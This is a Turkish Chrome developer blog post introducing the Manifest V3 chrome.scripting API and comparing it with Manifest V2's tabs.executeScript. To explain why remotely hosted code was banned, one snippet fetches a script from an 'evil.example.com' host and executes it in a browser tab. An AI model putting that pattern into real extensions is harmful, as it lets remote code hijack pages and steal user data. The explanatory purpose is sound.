chrome.scripting tanıtımı

Simeon Vincent
Simeon Vincent

Manifest V3, Chrome'un uzantı platformunda bir dizi değişiklik içeriyor. Bu yayında, en dikkate değer değişikliklerden biri olan chrome.scripting API'nin kullanıma sunulması ile ilgili nedenleri ve değişiklikleri inceleyeceğiz.

chrome.scripting nedir?

Adından da anlaşılacağı gibi chrome.scripting, Manifest V3'te kullanıma sunulan ve komut dosyası ve stil ekleme özelliklerinden sorumlu yeni bir ad alanıdır.

Geçmişte Chrome uzantıları oluşturan geliştiriciler, Tabs API'deki chrome.tabs.executeScript ve chrome.tabs.insertCSS gibi Manifest V2 yöntemlerine aşina olabilir. Bu yöntemler, uzantıların sırasıyla sayfalara komut dosyası ve stil sayfası eklemesine olanak tanır. Manifest V3'te bu özellikler chrome.scripting'e taşındı ve bu API'yi gelecekte bazı yeni özelliklerle genişletmeyi planlıyoruz.

Neden yeni bir API oluşturmalısınız?

Bu tür bir değişiklikle ilgili olarak ilk sorulan sorulardan biri "neden?" olur.

Chrome ekibi, birkaç farklı faktörden dolayı komut dosyası yazma için yeni bir ad alanı kullanmaya karar verdi. Öncelikle, Sekmeler API'si, özellikler için biraz dağınık bir çekmece gibidir. İkinci olarak, mevcut executeScript API'de önemli değişiklikler yapmamız gerekiyordu. Üçüncü olarak, uzantılar için komut dosyası yazma özelliklerini genişletmek istediğimizi biliyorduk. Bu endişeler, komut dosyası yazma özelliklerini barındıracak yeni bir ad alanının gerekliliğini açıkça ortaya koydu.

Çöp kutusu çekmecesi

Uzantıları Ekibi'nin son birkaç yıldır kafasını kurcalayan sorunlardan biri, chrome.tabs API'nin aşırı yüklenmesidir. Bu API ilk kullanıma sunulduğunda sunduğu özelliklerin çoğu, tarayıcı sekmesi kavramıyla ilgiliydi. O dönemde bile, çeşitli özelliklerden oluşan bir koleksiyondu ve yıllar içinde bu koleksiyon daha da büyüdü.

Manifest V3 yayınlandığında Sekmeler API'si temel sekme yönetimi, seçim yönetimi, pencere düzenleme, mesajlaşma, yakınlaştırma kontrolü, temel gezinme, komut dosyası yazma ve diğer birkaç küçük özelliği kapsayacak şekilde genişletildi. Bunların hepsi önemli olsa da geliştiriciler ilk kez bu platformu kullanmaya başladığında ve Chrome ekibi olarak platformu yönetip geliştirici topluluğundan gelen istekleri değerlendirdiğimizde bu durum biraz bunaltıcı olabilir.

Karmaşıklaştıran bir diğer faktör de tabs izninin yeterince anlaşılmaması. Diğer birçok izin belirli bir API'ye (ör.storage) erişimi kısıtlar. Bu izin ise yalnızca uzantıya Sekme örneklerindeki hassas mülklere erişim izni verdiği (ve dolayısıyla Windows API'yi de etkilediği) için biraz sıra dışıdır. Birçok uzantı geliştiricisi, Tabs API'deki chrome.tabs.create veya daha doğrusu chrome.tabs.executeScript gibi yöntemlere erişmek için bu izne ihtiyaç duyduğunu düşünerek hatalı bir şekilde hareket ediyor. İşlevleri Sekmeler API'sinden kaldırmak bu karışıklığın bir kısmını gidermeye yardımcı olur.

Zarar veren değişiklikler

Manifest V3'ü tasarlarken ele almak istediğimiz en önemli sorunlardan biri, "uzaktan barındırılan kod" (çalıştırılan ancak uzantı paketine dahil edilmeyen kod) tarafından etkinleştirilen kötüye kullanım ve kötü amaçlı yazılımlardı. Kötüye kullanım amaçlı uzantı yazarlarının, kullanıcı verilerini çalmak, kötü amaçlı yazılım yerleştirmek ve tespit edilmemek için uzak sunuculardan alınan komut dosyalarını çalıştırması yaygın bir durumdur. İyi aktörler de bu özelliği kullansa da bu özelliğin olduğu gibi kalmasının çok tehlikeli olduğunu düşündük.

Uzantıların paketlenmemiş kodu çalıştırmasının birkaç farklı yolu vardır ancak buradaki ilgili yöntem Manifest V2 chrome.tabs.executeScript yöntemidir. Bu yöntem, bir uzantının hedef sekmede rastgele bir kod dizesi yürütmesine olanak tanır. Bu da kötü amaçlı bir geliştiricinin uzak bir sunucudan herhangi bir komut dosyasını alıp uzantının erişebildiği herhangi bir sayfa içinde çalıştırabileceği anlamına gelir. Uzaktan kod sorununu ele almak istiyorsak bu özelliği kaldırmamız gerektiğini biliyorduk.

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

Ayrıca, Manifest V2 sürümünün tasarımıyla ilgili daha ince bazı sorunları gidermek ve API'yi daha gelişmiş ve tahmin edilebilir bir araç hâline getirmek istedik.

Tabs API'deki bu yöntemin imzasını değiştirebilirdik ancak bu önemli değişiklikler ve yeni özelliklerin kullanıma sunulması (sonraki bölümde ele alınmaktadır) arasında tamamen yeni bir başlangıç yapmanın herkes için daha kolay olacağını düşündük.

Komut dosyası yazma özelliklerini genişletme

Manifest V3 tasarım sürecine dahil edilen bir diğer husus da Chrome'un uzantı platformuna ek komut dosyası yazma özellikleri ekleme isteğiydi. Daha ayrıntılı olarak açıklamak gerekirse, dinamik içerik komut dosyaları için destek eklemek ve executeScript yönteminin özelliklerini genişletmek istedik.

Dinamik içerik komut dosyası desteği, Chromium'da uzun zamandır istenen bir özelliktir. Şu anda Manifest V2 ve V3 Chrome uzantıları, içerik komut dosyalarını yalnızca manifest.json dosyalarında statik olarak tanımlayabilir. Platform, yeni içerik komut dosyalarını kaydetme, içerik komut dosyası kaydını değiştirme veya çalışma zamanında içerik komut dosyalarının kaydını silme gibi bir yöntem sağlamaz.

Bu özellik isteğini Manifest V3'te ele almak istediğimizi biliyorduk ancak mevcut API'lerimizden hiçbiri bu iş için uygun değildi. Content Scripts API ile Firefox'u da uyumlu hale getirmeyi düşündük ancak bu yaklaşımın birkaç önemli dezavantajı olduğunu kısa süre içinde fark ettik. Öncelikle, uyumlu olmayan imzalar olacağını biliyorduk (ör. code mülkü için desteğin sonlandırılması). İkinci olarak, API'mizin farklı bir tasarım kısıtlamaları grubu vardı (ör. bir hizmet çalışanının ömründen sonra devam etmesi için kayıt yapılması gerekiyordu). Son olarak, bu ad alanı bizi uzantılarda komut dosyası yazma konusunda daha geniş bir bakış açısıyla düşündüğümüz içerik komut dosyası işlevine de yönlendirir.

executeScript cephesinde, bu API'nin yapabileceklerini Tabs API sürümünün desteklediğinin ötesine taşımak da istedik. Daha ayrıntılı olarak belirtmek gerekirse, işlevleri ve bağımsız değişkenleri desteklemek, belirli çerçeveleri daha kolay hedeflemek ve "sekme" dışındaki bağlamları hedeflemek istedik.

Gelecekte, uzantıların yüklü PWA'lar ve kavramsal olarak "sekmelerle" eşleşmeyen diğer bağlamlarla nasıl etkileşim kurabileceğini de değerlendireceğiz.

tabs.executeScript ve scripting.executeScript arasındaki değişiklikler

Bu yayının geri kalanında, chrome.tabs.executeScript ile chrome.scripting.executeScript arasındaki benzerlikleri ve farklılıkları daha yakından inceleyeceğiz.

Bağımsız değişkenlerle bir işlev ekleme

Uzaktan barındırılan kod kısıtlamaları göz önüne alındığında platformun nasıl gelişeceğini değerlendirirken, rastgele kod yürütmenin ham gücü ile yalnızca statik içerik komut dosyalarına izin verme arasında bir denge bulmak istedik. Bulduğumuz çözüm, uzantıların içerik komut dosyası olarak işlev eklemesine ve bağımsız değişken olarak bir değer dizisi iletmesine izin vermekti.

Bir (aşırı basitleştirilmiş) örneğe hızlıca göz atalım. Kullanıcı uzantının işlem düğmesini (araç çubuğundaki simge) tıkladığında kullanıcıyı adını kullanarak karşılayan bir komut dosyası eklemek istediğimizi varsayalım. Manifest V2'de dinamik olarak bir kod dizesi oluşturabilir ve bu komut dosyasını mevcut sayfada yürütebiliriz.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

Manifest V3 uzantıları, uzantı ile birlikte paketlenmemiş kodları kullanamaz. Ancak amacımız, Manifest V2 uzantılarında keyfi kod bloklarının sağladığı dinamizmin bir kısmını korumaktı. İşlev ve bağımsız değişken yaklaşımı, Chrome Web Mağazası incelemecilerin, kullanıcıların ve diğer ilgili tarafların bir uzantının oluşturduğu riskleri daha doğru değerlendirmesini sağlar. Ayrıca geliştiricilerin, bir uzantının çalışma zamanındaki davranışını kullanıcı ayarlarına veya uygulama durumuna göre değiştirmesine olanak tanır.

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

Hedefleme çerçeveleri

Ayrıca, geliştiricilerin düzeltilen API'deki çerçevelerle etkileşim şeklini iyileştirmek istedik. executeScript'ün Manifest V2 sürümü, geliştiricilerin bir sekmedeki tüm çerçeveleri veya sekmedeki belirli bir çerçeveyi hedeflemesine olanak tanıdı. Bir sekmedeki tüm karelerin listesini almak için chrome.webNavigation.getAllFrames tuşunu kullanabilirsiniz.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

Manifest V3'te, options nesnesinde isteğe bağlı frameId tam sayı mülkünü isteğe bağlı bir frameIds tam sayı dizisiyle değiştirdik. Bu, geliştiricilerin tek bir API çağrısında birden fazla kareyi hedeflemesine olanak tanır.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

Komut dosyası enjeksiyonu sonuçları

Ayrıca, Manifest V3'te komut dosyası ekleme sonuçlarını döndürme şeklimizi de iyileştirdik. "Sonuç", temel olarak bir komut dosyasında değerlendirilen son ifadedir. Bu değeri, Chrome Geliştirici Araçları konsolunda eval()'ü çağırdığınız veya bir kod bloğunu çalıştırdığınızda döndürülen değer gibi düşünebilirsiniz. Ancak bu değer, sonuçları işlemler arasında iletmek için serileştirilmiştir.

Manifest V2'de executeScript ve insertCSS, düz yürütme sonuçları dizisi döndürür. Yalnızca tek bir enjeksiyon noktanız varsa bu sorun oluşturmaz ancak birden fazla çerçeveye enjeksiyon yapılırken sonuç sırası garanti edilmez. Bu nedenle, hangi sonucun hangi çerçeveyle ilişkili olduğunu anlamak mümkün değildir.

Somut bir örnek olarak, aynı uzantının Manifest V2 ve Manifest V3 sürümleri tarafından döndürülen results dizilerine bakalım. Uzantının her iki sürümü de aynı içerik komut dosyasını ekler ve sonuçları aynı demo sayfasında karşılaştırırız.

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

Manifest V2 sürümünü çalıştırdığımızda [1, 0, 5] dizisi döndürülür. Hangi sonuç ana çerçeveye, hangisi iframe'e karşılık gelir? Döndürülen değer bize bunu söylemediğinden kesin olarak bilmiyoruz.

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

Manifest V3 sürümünde results artık yalnızca değerlendirme sonuçları dizisi yerine bir sonuç nesnesi dizisi içeriyor ve sonuç nesneleri her bir sonuç için çerçevenin kimliğini net bir şekilde tanımlar. Bu sayede geliştiriciler sonucu kullanabilir ve belirli bir karede işlem yapabilir.

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

Son adım

Manifest sürüm yükseltmeleri, uzantı API'lerini yeniden düşünmek ve modernize etmek için nadir bir fırsat sunar. Manifest V3 ile amacımız, geliştirici deneyimini iyileştirerek uzantıları daha güvenli hale getirerek son kullanıcı deneyimini iyileştirmektir. Manifest V3'te chrome.scripting'ü kullanıma sunarak Sekmeler API'sini temizlemeyi, daha güvenli bir uzantı platformu için executeScript'ü yeniden tasarlamayı ve bu yılın ilerleyen dönemlerinde kullanıma sunulacak yeni komut dosyası yazma özelliklerinin temelini atmayı başardık.